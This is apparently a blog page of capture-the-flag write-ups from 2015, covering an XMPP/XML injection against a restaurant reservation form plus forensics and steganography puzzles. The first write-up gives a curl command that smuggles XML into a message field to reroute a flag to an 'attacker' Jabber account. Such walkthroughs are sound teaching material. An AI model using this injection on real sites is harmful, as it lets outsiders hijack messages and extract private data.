Showing posts with label hacking. Show all posts
Showing posts with label hacking. Show all posts

Sunday, October 25, 2015

TUM CTF 2015 - Italy Food (200)





This was a new CTF coming from H4x0rPsch0rr team representing Technische Universität München.
The point system seemed a little off, but overall I had fun with these challenges!

On this one, I primarily targeted higher point challenges in Misc & Web.

"Italy Food" was a challenge about exploiting a restaurant's website.
It was solved very quickly by another team early on in the game, but then through-out the day, no one else could figure it out until later.  It turns out it wasn't the most difficult to solve, but interesting to go through.


URL: http://1.ctf.link:1120
Description:
Organizing a CTF makes hungry... anyone in for pizza?
Get it while it's hot, hawt, HAWT!!!

1.ctf.link:1120


First started by looking at the sources tab in Google Chrome's Dev Tools.  There were some custom CSS files, font-awesome, vendor css, vendor javascript, and some very simple js logic for controlling the header menu  (Probably part of the Theme).

If you notice above the "Reservation" tab is the darkest color.  I hadn't seen this at first, but it's fairly obvious this was the target.  Also noticed during the challenge, no other pages had any obvious input areas which could potentially be abused.




On this form we have a very clear message telling us how this works.

With our patent pending XMPP reservation 
messaging system, our manager will be 
instantly notified and will respond near 
instantly. Our system will send your 
reservation FLAG right to him!

So the main points here are:

  • XMPP (Protocol being used)
  • Manager will be notified of this message  (Some Jabber Acct.)
  • sending the reservation FLAG (Payload is loaded with FLAG already)


The first thing I try with any Web challenge is to see what type of filters may not be setup.  The first thing I tried seemed to work, I filled out each entry with reasonable values except the "Message" section.  That section was where I put:

abcd
<br>
etc

This returned with an Error!  Looks like we're onto something!

Fatal error: Uncaught exception 'Fabiang\Xmpp\Exception\XMLParserException' with message 'XML parsing error: "Mismatched tag" at Line 5 at column 63' in /var/www/html/vendor/fabiang/xmpp/src/Exception/XMLParserException.php:68 Stack trace: #0 

/var/www/html/vendor/fabiang/xmpp/src/Stream/XMLStream.php(160): Fabiang\Xmpp\Exception\XMLParserException::create(Resource id #13) #1 

/var/www/html/vendor/fabiang/xmpp/src/Connection/Socket.php(162): Fabiang\Xmpp\Stream\XMLStream->parse('send(Object(ProxyStanza)) #4 {main} thrown in 

/var/www/html/vendor/fabiang/xmpp/src/Exception/XMLParserException.php on line 68


It looks like we've got an XML parsing error.  It also looks like they're using a 3rd party php module called "xmpp" by fabiang (found here - https://github.com/fabiang/xmpp)

After looking into this repository, I found where it was failing.  But I was more interested in how to exploit this failure.  Maybe the xmpp repo can shed some light of how the XML is structured in the request.

Searching through the repo, it was very well tested, which means there are also more examples to look at.  The one that helped the most was under Protocol tests for Messages - https://github.com/fabiang/xmpp/blob/master/tests/src/Protocol/MessageTest.php#L83

public function testToString()
{
    $this->object->setTo('foobar')->setMessage('testmessage');
    $this->assertRegExp(
        '#<message type="chat" id="fabiang_xmpp_[^"]+" to="foobar"><body>testmessage</body></message>#',
        $this->object->toString()
    );
}



So let's break this down quickly....

We have a very simple structure for the message:

<message type="chat" id="some_id" to="jabber_id"><body>CONTENT</body></message>

Now we know the flag is being sent to the Manager, and we want the flag... so why don't we just send it to ourselves?  We'll need to change the "to" attribute for this to work.

We'll also assume that the form being submitted from the restaurant's reservation page is being inserted into the body of the message.


Let's also use an easier way of testing each attempt (Some bare minimum essentials for the POST request):

curl -XPOST 'http://1.ctf.link:1120/reservation.php' --data 'name=test&message=<br>'

Now let's construct our target payload for the submission.

First we need to end the body & message tags:

</body></message>

Then we need our newly constructed message and body tags targeting our own temporary XMPP Jabber account:

<message to="attacker@jabb3r.de"><body>


The whole thing together:

curl -XPOST 'http://1.ctf.link:1120/reservation.php' --data 'name=attacker: &message=</body></message><message to="attacker@jabb3r.de"><body>'

Now back on our XMPP Client signed into the attacker account, we've got the resulting Flag!


hxp{we_need_a_xep_for_fastfood_ordering}


Tuesday, September 22, 2015

CSAW 2015 - Forensics (Keep Calm & CTF, Flash, Airport)


Forensics is always my favorite topic in any CTF.  Some of the challenges on this one turned out a little easy, but it was still very fun!

Keep Calm and CTF (100)

Starting out on this one, I did what I normally do.  Run strings, exiftool and xxd.
Strings turned up with nothing, so next was exiftool:

$ exiftool img.jpg

ExifTool Version Number         : 9.12
File Name                       : img.jpg
Directory                       : .
File Size                       : 92 kB
File Modification Date/Time     : 2015:09:22 09:07:17-07:00
File Access Date/Time           : 2015:09:22 09:07:17-07:00
File Inode Change Date/Time     : 2015:09:22 09:07:17-07:00
File Permissions                : rw-r-----
File Type                       : JPEG
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
X Resolution                    : 72
Y Resolution                    : 72
Exif Byte Order                 : Big-endian (Motorola, MM)
Resolution Unit                 : inches
Y Cb Cr Positioning             : Centered
Copyright                       : h1d1ng_in_4lm0st_pla1n_sigh7
Image Width                     : 600
Image Height                    : 700
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 600x700
Instantly got the flag from that, hiding in the Copyright section:
h1d1ng_in_4lm0st_pla1n_sigh7


Flash (100)

The next one was even easier, again as I mentioned in the Crypto writeup, this year I thought i'd run strings on everything, and what do we get ?
$ strings flash_c8429a430278283c0e571baebca3d139.img | grep -i "flag{"

flag{b3l0w_th3_r4dar}


airport (200)

This one was a little obscure, it was more of a stego challenge, with a bit of recon.

First I have to credit my team-mate @Matir - https://systemoverlord.com/.  He came up with all the airport locations which was much needed to solve for the flag.

In this one we received a directory filled with 4 png's & one jpeg, shown below:
$ ls -l

total 17808
drwxrwxrwx  7 user  staff      238 Sep 22 09:24 .
drwxr-xr-x  5 user  staff      170 Sep 18 17:28 ..
-rwxrwxrwx@ 1 user  staff  2198373 Sep 17 10:23 1.png
-rwxrwxrwx@ 1 user  staff  1899632 Sep 17 10:23 2.png
-rwxrwxrwx@ 1 user  staff  2262857 Sep 17 10:23 3.png
-rwxrwxrwx@ 1 user  staff  2744123 Sep 17 10:23 4.png
-rwxrwxrwx@ 1 user  staff     4185 Sep 17 10:59 steghide.jpg

1.png:


2.png:


3.png:


4.png:


steghide.jpg:



Ran various stego tools, tried some shifts and bitplane isolations, lsb, also xor'd the images to see if that would result in anything.  But the StegHide clue was a glaring one.  That couldn't be ignored.

Cloning StegHide and running it, we can notice that it won't work on any png images.  So now the only option is to run it on the steghide image itself.  Love it.

After running through many permutations of possible passwords, we ended up stringing together the airport IATA codes, to see if that would work.

First tried:
$ steghide extract -sf steghide.jpg -p HAV-HKG-LAX-YYZ

steghide: could not extract any data with that passphrase!

No Dice....

What about removing the dashes?

$ steghide extract -sf steghide.jpg -p HAVHKGLAXYYZ

wrote extracted data to "key.txt".

$ cat key.txt

iH4t3A1rp0rt5

Got the Flag!
flag{iH4t3A1rp0rt5}

Sunday, August 16, 2015

Defcon 23 :: OpenCTF 2015 - Enhance (50)

OpenCTF was a great time at Defcon23 this year. One of the first challenges I attempted was this one called "Enhance".

By the name I almost immediately associated it with all those bad hacker moments in Movies & TV Shows where they shout out "Enhance! Zoom In! Sharper!"

I learned later this was a reference to the Super Troopers scene, you can find a snippet of this great moment here - https://www.youtube.com/watch?v=_KN42ntgmdw

For this challenge we were given a high resolution jpeg image. Here's a smaller version of the original image:



I had originally opened this in 'feh' which is a great application you can get on linux. When opening in feh, it was automatically zoomed to 100%. This helped a lot when solving the challenge. After looking around I started to think where someone would hide data, it would probable be in the reflection! I remember hearing something about a CSI episode where they found evidence based on the reflection of an eye or watch or something similar. So that's where I looked first. After looking at the eyes, I found a QR code hidden in the reflection.



After flipping the orientation and taking my phone out for the QR code, I got nothing. Looks like the QR code needed to be "Enhanced"

Going into GIMP, I boosted the levels a bit and took another shot and BOOM, there was the flag! :)
Also when scaling it back up, make sure no Interpolation is set so that it stays crisp.
Another Note: QRDroid ended up doing the trick on the messy QR Code



Flag:
Ju5tPr1nTheDAmNTh1n6